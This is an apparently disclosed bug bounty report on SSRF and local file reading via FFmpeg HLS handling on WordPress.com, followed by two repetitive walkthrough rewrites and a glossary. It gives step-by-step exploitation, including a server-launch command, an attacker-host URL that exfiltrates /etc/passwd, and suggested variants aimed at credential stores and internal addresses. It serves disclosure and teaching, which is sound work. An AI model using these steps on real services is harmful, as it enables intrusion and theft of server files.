SSRF and local file disclosure in https://wordpress.com/media/videos/ via FFmpeg HLS processing
FFmpeg-based video processing on wordpress.com accepted HLS playlist references embedded in an uploaded AVI file, so an attacker could make the conversion node fetch external URLs and read local files. This allowed SSRF requests from Automattic servers and disclosure of files such as /etc/passwd and /etc/hostname.
- Fixed in 23 days
- Paid in 23 days
- Disclosed after 53 days
Summary
FFmpeg is a video encoding software that appears to be used by wordpress.com for video processing (for paid accounts). FFmpeg is known to process HLS playlists that may contain references to external files. I was able to fire this feature using GAB2 subtitle chunks inside an AVI file. After that, I was able to retrieve conversion nodes' local files and fire SSRF requests.
Note that the AVI file attached is not a screen capture of the exploitation process, but the exploit itself. Do not try to play it!
Reproduction steps for SSRF
-
Open attached file
http_q.aviin a hex editor and find http link (currently it'shttp://45.55.40.92/ssrf_test). Modify it so it points to a server under your control. You need to keep binary layout of the file, so you might want to add or remove some#s from the comment on the line below -
Go to https://wordpress.com/media/videos/<your blog>. You need paid account to make this work. Upload the resulting video, then select it, click "Edit" and wait a little bit.
-
You'll receive an HTTP request to your server from some server inside automattic. In the access log, you'll see an entry like this:
192.0.87.12 - - [06/Jun/2017:21:42:35 +0200] "GET /test_ssrf HTTP/1.1" 200 117 "-" "Lavf/56.25.101"According to whois information, 192.0.87.12 belongs to Automattic, Inc.
Reproduction steps for local file disclosure
Reading files is a little bit trickier --- it uses FFmpeg's ability to concatinate all segments of an HLS playlist into another playlist. I wrote a script that exploits this issue, file_reading_server.py (attached to the report). You'll need to run it on any server under your control (of course, the script doesn't need to be run on the target server, it will use the SSRF & HLS playlists to retrieve files from it).
- Get a droplet/VPS/whatever with an external IP. Launch my script like this:
python3 file_reading_server.py --external-addr <external-ip-of-your-server> --port 8080(you'll need python3.5). - As in SSRF repro step 1, modify
http_q.aviso the link inside it will point to your server and be like this:http://<external-ip-of-your-server>:8080/initial.m3u?filename=/etc/passwd. You can replace/etc/passwdwith another filename if you want. - As in SSRF repro step 2, upload the resulting file to wordpress.com and click "Edit". After a while, some debug output of my script will be printed to console (because of SSRF requests). Wait until the output stops. Then check the working dir of the script. It will contain a file with name like this:
<some random string>_<filename-without-slashes>. The contents of this file was received from the node that runs FFmpeg.
Using this approach, I was able to dump /etc/issue:
Debian GNU/Linux 8 \n \l
and /etc/hostname:
tc1.videos.dca.wordpress.com
Attachments
Context
WordPress.com offers video processing for paid accounts through its media library at https://wordpress.com/media/videos/<your blog>. Behind that feature the platform uses FFmpeg, the widely deployed video encoding tool, to transcode uploaded videos. FFmpeg can process HLS playlists, and an HLS playlist may contain references to external files. That capability is the pivot point of this report: if an attacker can make FFmpeg parse an HLS playlist that the attacker controls, FFmpeg will fetch the referenced resources, and those fetches originate from the conversion node inside Automattic's infrastructure.
The researcher found a way to reach that code path by smuggling a playlist reference into an AVI file through GAB2 subtitle chunks. Two distinct issues followed from it: server-side request forgery (SSRF) and local file disclosure on the conversion nodes.
Setup
- A paid WordPress.com account is required. The report states explicitly that video processing, and therefore the whole attack, only works for paid accounts.
- The exploit is delivered as an AVI file,
http_q.avi, attached to the report. The researcher warns that this file is not a screen recording of the exploitation but the exploit itself, and should not be played. - For the file disclosure part, a server under the attacker's control with an external IP is needed, running Python 3.5 and the researcher's script
file_reading_server.py(also attached to the report). - A hex editor is used to edit the embedded URL while preserving the binary layout of the AVI.
Finding it
The starting observation is that FFmpeg processes HLS playlists which may reference external files. The researcher then looked for a way to get such a playlist reference into content that WordPress.com would hand to FFmpeg. The chosen vehicle was GAB2 subtitle chunks inside an AVI container: by placing an HTTP link there, the researcher was able to trigger FFmpeg's HLS handling. Once that worked, the conversion node could be made to issue requests to arbitrary hosts (SSRF) and, with a more elaborate playlist setup, to read local files from the node.
Exploitation
Step 1: point the embedded link at your own server (SSRF)
Open the attached http_q.avi in a hex editor and locate the HTTP link inside it. At the time of the report it is:
http://[redacted]/ssrf_test
Change it so it points to a server you control. The binary layout of the file must be preserved, so the researcher suggests adding or removing # characters from the comment on the line below the link to compensate for any change in length.
Step 2: upload and trigger processing
Go to https://wordpress.com/media/videos/<your blog>, upload the modified video, select it, click "Edit" and wait a little. A paid account is required for this to work.
Step 3: observe the callback
Your server receives an HTTP request from a host inside Automattic. The access log entry looks like this:
[redacted] - - [06/Jun/[redacted] +0200] "GET /test_ssrf HTTP/1.1" 200 117 "-" "Lavf/56.25.101"
The User-Agent Lavf/56.25.101 identifies the request as coming from FFmpeg's own HTTP client (libavformat), which confirms that the conversion node, not a browser, made the request. According to whois information, the source address [redacted] belongs to Automattic, Inc.
Step 4: prepare the file-reading server
The local file disclosure is described as trickier. It relies on FFmpeg's ability to concatenate all segments of an HLS playlist into another playlist. The researcher wrote file_reading_server.py for this. It does not need to run on the target: it runs on any server you control and uses the SSRF plus HLS playlists to retrieve files from the conversion node.
Get a droplet, VPS or similar with an external IP and launch the script:
python3 file_reading_server.py --external-addr <external-ip-of-your-server> --port 8080
Python 3.5 is required.
Step 5: point the AVI at the file-reading server
As in the SSRF step, modify http_q.avi so the embedded link points to your server, in this form:
http://<external-ip-of-your-server>:8080/initial.m3u?filename=/etc/passwd
The filename parameter selects the file to read; /etc/passwd can be replaced with another filename.
Step 6: upload, trigger, and collect the file
Upload the resulting file to WordPress.com and click "Edit", as in the SSRF step. After a while, debug output from the script is printed to the console, caused by the SSRF requests. Wait until the output stops, then check the working directory of the script. It contains a file named like:
<some random string>_<filename-without-slashes>
Its contents were received from the node that runs FFmpeg.
Using this approach the researcher dumped /etc/issue:
Debian GNU/Linux 8 \n \l
and /etc/hostname:
tc1.videos.dca.wordpress.com
The hostname is tc1.videos.dca.wordpress.com.
Root cause
FFmpeg processes HLS playlists that may contain references to external files. WordPress.com passed user-supplied video content to FFmpeg for processing, and the GAB2 subtitle chunk path allowed an attacker to embed a playlist reference in an otherwise ordinary AVI file. FFmpeg's fetches were made from the conversion node, which also allowed local files to be read. The report does not describe any validation on the WordPress.com side.
Impact
An attacker with a paid WordPress.com account could make conversion nodes issue HTTP requests to arbitrary hosts (SSRF), as demonstrated by the callback to the researcher's server, and could read local files from those nodes, as demonstrated with /etc/issue and /etc/hostname. The requests originate from an Automattic-owned address, as shown by whois. The report does not state the severity, CVSS score or bounty.
Fix
In general terms, the mitigation would be to constrain FFmpeg's protocol handling (for example, restricting allowed protocols and blocking local file and arbitrary network access during transcoding) and to run conversion in a sandbox with no access to internal networks or sensitive local files.
Variants to test
- Other container and codec paths that carry attacker-controlled references into FFmpeg, such as subtitle or metadata chunks in other formats. A positive result is a callback to your server with a
Lavf/...user agent. - HLS playlists with segment references to internal hostnames or metadata addresses. A positive result is a response from an internal service appearing in your server's logs or in the retrieved file.
- The
filenameparameter pattern against other paths, such as configuration files or credential stores readable by the transcoding process. A positive result is a file appearing in the script's working directory with the expected name pattern. - Different FFmpeg protocol handlers (for example, concat, file, or other demuxers) reached through the same upload feature. A positive result is a fetch or file read that the normal upload path should not permit.
What happened, in plain words
WordPress.com is a service for building and hosting blogs. If you pay for an account, it offers a feature that processes videos you upload: you can upload a video file to your media library and the platform converts it into a format that plays well in browsers. To do that conversion, WordPress.com uses a piece of software called FFmpeg, which is one of the most common tools in the world for working with video and audio files.
FFmpeg understands many video formats, and one of the things it understands is a kind of playlist file called HLS. An HLS playlist is a small text file that lists where the actual pieces of a video live. Those pieces can be on the same server, but the playlist format also allows them to be somewhere else entirely, including on a different machine on the internet. When FFmpeg is asked to process a playlist, it goes and fetches whatever the playlist points to.
That behaviour is the heart of this report. If an attacker can get FFmpeg to read a playlist the attacker wrote, then FFmpeg will make requests to whatever addresses the attacker put in that playlist. And those requests do not come from the attacker's computer: they come from the WordPress.com machine that is doing the video conversion, which sits inside Automattic's (the company behind WordPress.com) own network.
The researcher found a way to slip a playlist reference into an ordinary-looking AVI video file, using a part of the AVI format meant for subtitles called GAB2 chunks. Once that worked, two separate problems followed:
- Server-side request forgery (SSRF). The conversion machine could be made to send an HTTP request to any server the attacker chose. "Server-side" means the request is made by the server, not by the attacker's browser, so it can reach places the attacker could not reach directly.
- Local file disclosure. With a more elaborate playlist setup, the conversion machine could be made to read files stored on its own disk and send their contents back to the attacker's server.
The report does not state a severity rating, a CVSS score or a bounty amount.
The pieces you need to understand first
Before walking through the steps, here are the concepts the report relies on, explained from scratch.
- FFmpeg is a free program that converts, reads and writes video and audio files. Think of it as a universal translator for media: you give it a file in one format and it produces the same content in another. Websites use it behind the scenes so that a video you upload plays on phones, laptops and browsers.
- Transcoding is the act of converting a media file from one format or quality to another. When you upload a video and the site says "processing", transcoding is usually what is happening.
- A conversion node is one computer in a cluster that does this processing work. WordPress.com does not run FFmpeg on the same machine that serves your blog page; it hands the file to a separate worker machine. That worker is the "node".
- AVI is an old but still common container format for video. A container is like an envelope: it holds video, audio, subtitles and metadata together in one file. Inside the envelope, the contents are organised in labelled blocks called chunks.
- GAB2 subtitle chunks are one kind of block inside an AVI file that can carry subtitle text. The researcher used this block as a hiding place for a web address.
- HLS (HTTP Live Streaming) is a way of delivering video over the web by splitting it into small segments and listing them in a playlist file, usually ending in
.m3uor.m3u8. A player reads the playlist, then fetches each segment in turn. The playlist is just text, and it can point at files on other servers. - SSRF (server-side request forgery) is a vulnerability where an attacker tricks a server into making a request on the attacker's behalf. A simple comparison: imagine a company receptionist who will phone any number you ask them to. If you ask them to call an internal extension you are not allowed to dial yourself, you have just used the receptionist to get around the phone system's rules. SSRF is the same idea with web requests.
- Local file disclosure means reading files that live on the server's own disk, such as configuration files or system information files, and getting their contents out to the attacker.
- A hex editor is a program that shows a file as raw bytes (numbers) rather than as text or video. It lets you change individual bytes while keeping the file's overall structure intact.
- A User-Agent is a short label that a program sends with every web request to say who it is. Browsers send labels like
Mozilla/5.0 ...; FFmpeg sends its own label starting withLavf/. - whois is a public directory lookup service for internet addresses. You give it an IP address and it tells you which organisation the address is registered to.
- A VPS or droplet is a rented virtual server on the internet with its own public IP address. You can run your own programs on it.
Setup
Before any of this works, a few things are needed:
- A paid WordPress.com account. The report says explicitly that video processing, and therefore the whole attack, only works for paid accounts. Free accounts do not get the feature.
- The exploit file. The researcher attached an AVI file called
http_q.avito the report. A warning comes with it: this file is not a screen recording of the attack, it is the attack itself. Do not try to play it. Opening it in a normal video player would just be confusing at best; the file is meant to be edited and uploaded, not watched. - A server you control with a public IP address, for the file-reading part. It needs Python 3.5 and the researcher's script
file_reading_server.py, which is also attached to the report. - A hex editor, to change the web address hidden inside the AVI file without breaking the file's structure.
Finding it
The starting point is a simple observation: FFmpeg processes HLS playlists, and an HLS playlist can reference external files. So the question becomes: how do you get a playlist reference into something WordPress.com will hand to FFmpeg?
The answer the researcher found was the GAB2 subtitle chunk inside an AVI container. By placing an HTTP link in that subtitle block, the researcher could trigger FFmpeg's HLS handling. Once that worked, the conversion node could be made to send requests to arbitrary hosts (SSRF) and, with a more elaborate playlist setup, to read local files from the node.
Exploitation
Step 1: point the embedded link at your own server (SSRF)
Open the attached http_q.avi in a hex editor and find the HTTP link inside it. At the time of the report, the link is:
http://[redacted]/ssrf_test
This is the address that FFmpeg will try to fetch when it processes the file. You change it so it points at a server you control instead.
There is a catch: the file's binary layout has to stay the same. A file is a sequence of bytes, and the AVI format expects certain blocks at certain positions. If you make the URL longer or shorter, everything after it shifts, and the file may no longer be valid. The researcher's suggestion is to add or remove # characters from the comment on the line below the link, so the total length stays the same. The researcher suggests adding or removing # characters from the comment on the line below the link.
Why this step matters: the URL is the only thing that decides where the conversion node will send its request. By controlling it, you control the destination.
Step 2: upload and trigger processing
Go to https://wordpress.com/media/videos/<your blog>, upload the modified video, select it, click "Edit" and wait a little. A paid account is required for this to work.
The report's steps are to upload the video, select it, click "Edit" and wait a little. Waiting is part of the process because transcoding takes time, and the request to your server will only happen once FFmpeg actually starts reading the file.
Step 3: observe the callback
Your server receives an HTTP request from a host inside Automattic. The access log entry looks like this:
[redacted] - - [06/Jun/[redacted] +0200] "GET /test_ssrf HTTP/1.1" 200 117 "-" "Lavf/56.25.101"
Reading this line from left to right:
[redacted]is the address of the machine that made the request. It is not your server; it is the machine that connected to your server.- -are placeholders for identity information that the server did not have.[06/Jun/[redacted] +0200]is the date and time of the request."GET /test_ssrf HTTP/1.1"is the request itself: the method (GET), the path requested (/test_ssrf) and the protocol version (HTTP/1.1).200is the HTTP status code the server returned, meaning success.117is the size of the response in bytes."-"is the referrer, which was empty."Lavf/56.25.101"is the User-Agent.Lavfis the name FFmpeg's own HTTP client (libavformat) uses. This is the key detail: it proves the request came from FFmpeg, not from a browser or a person.
According to whois information, [redacted] belongs to Automattic, Inc. That confirms the request came from inside the company's infrastructure, which is exactly what SSRF means.
Step 4: prepare the file-reading server
The local file disclosure is described as trickier. It relies on FFmpeg's ability to concatenate all segments of an HLS playlist into another playlist. In plain terms: FFmpeg can be told to read a playlist, fetch each segment it lists, and stitch the results together.
The researcher wrote file_reading_server.py for this. It does not need to run on the target: it runs on any server you control and uses the SSRF plus HLS playlists to retrieve files from the conversion node.
Get a droplet, VPS or similar with an external IP and launch the script:
python3 file_reading_server.py --external-addr <external-ip-of-your-server> --port 8080
Line by line:
python3runs the Python 3 interpreter. The report says Python 3.5 is required.file_reading_server.pyis the researcher's script.--external-addr <external-ip-of-your-server>tells the script the public address of your server, so it can build playlist URLs that the conversion node can reach.--port 8080tells it which port to listen on. Port 8080 is a common alternative to the standard web port 80.
Why this step matters: the script is the middleman. The conversion node talks to it, and it talks back to the conversion node, carrying the file contents out.
Step 5: point the AVI at the file-reading server
As in the SSRF step, modify http_q.avi so the embedded link points to your server, in this form:
http://<external-ip-of-your-server>:8080/initial.m3u?filename=/etc/passwd
Breaking this down:
http://is the protocol.<external-ip-of-your-server>is your server's public address.:8080is the port your script listens on./initial.m3uis the playlist path the script serves.?filename=/etc/passwdis a parameter. The part after the?is called a query string, and it passes extra information to the server. Here,filenametells the script which file on the conversion node to ask for.
/etc/passwd is a standard file on Linux systems that lists user accounts. It is a common target in demonstrations because it is readable and its contents are recognisable. The report says you can replace /etc/passwd with another filename if you want.
Step 6: upload, trigger, and collect the file
Upload the resulting file to WordPress.com and click "Edit", as in the SSRF step. After a while, debug output from the script is printed to the console, caused by the SSRF requests. Wait until the output stops, then check the working directory of the script. It contains a file named like:
<some random string>_<filename-without-slashes>
The file is named <some random string>_<filename-without-slashes>. The contents of this file were received from the node that runs FFmpeg.
Using this approach, the researcher dumped /etc/issue:
Debian GNU/Linux 8 \n \l
The dumped /etc/issue contained Debian GNU/Linux 8 \n \l.
The researcher also dumped /etc/hostname:
tc1.videos.dca.wordpress.com
/etc/hostname contains the machine's own name. The dumped /etc/hostname contained tc1.videos.dca.wordpress.com. It tells you something about the infrastructure the requests came from.
Root cause
FFmpeg processes HLS playlists that may contain references to external files. A demuxer is the part of FFmpeg that separates a container into its streams; for HLS, it reads the playlist and fetches what it lists.
WordPress.com passed user-supplied video content to FFmpeg for processing, and the GAB2 subtitle chunk path allowed an attacker to embed a playlist reference in an otherwise ordinary AVI file. FFmpeg's fetches were made from the conversion node, which also allowed local files to be read.
The report does not describe any validation on the WordPress.com side.
Impact
An attacker with a paid WordPress.com account could make conversion nodes issue HTTP requests to arbitrary hosts (SSRF), as demonstrated by the callback to the researcher's server, and could read local files from those nodes, as demonstrated with /etc/issue and /etc/hostname.
According to whois, the request came from an address belonging to Automattic, Inc.
Fix
In general terms, the mitigation would be to constrain FFmpeg's protocol handling (for example, restricting allowed protocols and blocking local file and arbitrary network access during transcoding) and to run conversion in a sandbox with no access to internal networks or sensitive local files. A sandbox is an isolated environment: even if the program misbehaves, it cannot reach anything outside its box.
Variants to test
- Other container and codec paths that carry attacker-controlled references into FFmpeg, such as subtitle or metadata chunks in other formats. A positive result is a callback to your server with a
Lavf/...user agent. - HLS playlists with segment references to internal hostnames or metadata addresses. A positive result is a response from an internal service appearing in your server's logs or in the retrieved file.
- The
filenameparameter pattern against other paths, such as configuration files or credential stores readable by the transcoding process. A positive result is a file appearing in the script's working directory with the expected name pattern. - Different FFmpeg protocol handlers (for example, concat, file, or other demuxers) reached through the same upload feature. A positive result is a fetch or file read that the normal upload path should not permit.
Glossary
- AVI: a container file format for video that holds video, audio, subtitles and metadata in labelled blocks called chunks.
- Chunk: a labelled block of data inside a container file such as AVI.
- Container: a file format that bundles several streams (video, audio, subtitles) plus metadata into one file.
- Conversion node: a worker machine in a cluster that performs media processing, such as transcoding.
- CVSS: a standard scoring system for rating the severity of security vulnerabilities.
- Demuxer: the component of a media tool that separates a container into its individual streams.
- Droplet: a rented virtual server offered by a cloud provider.
- FFmpeg: a widely used open-source program for reading, converting and writing video and audio files.
- GAB2 subtitle chunk: a block inside an AVI file that can carry subtitle text; used here to hide a web address.
- Hex editor: a program that displays and edits a file as raw bytes.
- HLS (HTTP Live Streaming): a streaming method that splits video into segments listed in a playlist file, usually with an
.m3uor.m3u8extension. - HTTP: the protocol browsers and servers use to exchange web requests and responses.
- libavformat: the part of FFmpeg that handles container formats and network protocols; its HTTP client identifies itself as
Lavf/.... - Local file disclosure: a vulnerability where an attacker can read files stored on the server's own disk.
- Metadata: descriptive information about a file, such as title, author or duration.
- Playlist: in HLS, a text file listing the segments that make up a stream.
- Port: a numbered channel on a server that a program listens on; 8080 is a common alternative to port 80.
- Query string: the part of a URL after the
?, carrying extra parameters to the server. - Sandbox: an isolated environment that limits what a program can access.
- SSRF (server-side request forgery): a vulnerability where an attacker makes a server send requests on their behalf, often to internal systems.
- Transcoding: converting a media file from one format or quality to another.
- User-Agent: a label a program sends with web requests to identify itself.
- VPS: a virtual private server; a rented machine on the internet with its own address.
- whois: a public lookup service that maps an IP address to the organisation it is registered to.